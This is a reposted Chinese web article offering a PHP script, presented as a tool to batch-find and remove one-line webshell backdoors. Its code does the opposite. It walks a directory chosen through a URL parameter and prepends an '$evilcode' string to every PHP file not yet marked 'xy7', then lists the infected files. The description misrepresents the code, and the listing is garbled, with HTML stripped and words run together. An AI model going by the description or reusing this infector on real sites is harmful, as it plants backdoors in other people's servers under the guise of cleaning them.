欢迎来到福编程网,本站提供各种互联网专业知识!

用php实现批量查询清除一句话后门的代码

发布时间:2008-01-20 作者: 来源:转载
一句话后门一般简单,容易隐藏危害大,查找麻烦等。今天发现了这个Xall.php专门批量查询干掉一句话后门的代码,大家可以省去不少麻烦了
总是忘记一句话放到哪个文件里去了,直接全部干掉...
复制代码 代码如下:
if(!isset($dir)orempty($dir)){
$dir=str_replace('','/',dirname(__FILE__));
echo"".$dir."";
}else{
$dir=$_GET['dir'];
echo"".$dir."";
}
$evilcode="";
$testdir=opendir($dir);
while($filea=@readdir($testdir)){
if(strstr($filea,'.php')){
$fp=@fopen($filea,'r+');
if(!strstr(@fread($fp,20),'xy7')){
rewind($fp);
$old=@fread($fp,filesize($filea));
rewind($fp);
fwrite($fp,$evilcode.$old);
}
fclose($fp);
}
}
closedir($testdir);
?>




被X的文件
时间
大小

$dirs=@opendir($dir);
while($file=@readdir($dirs)){
if((is_file($file))and(ereg(".php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-dH:i:s",filectime("$dir/$file"));
echo"n";
echo"$filen";
echo"$lastsaven";
echo"$sizeBytesn";
}
}
}
@closedir($dirs);
?>

codzbyxuanmumu

相关推荐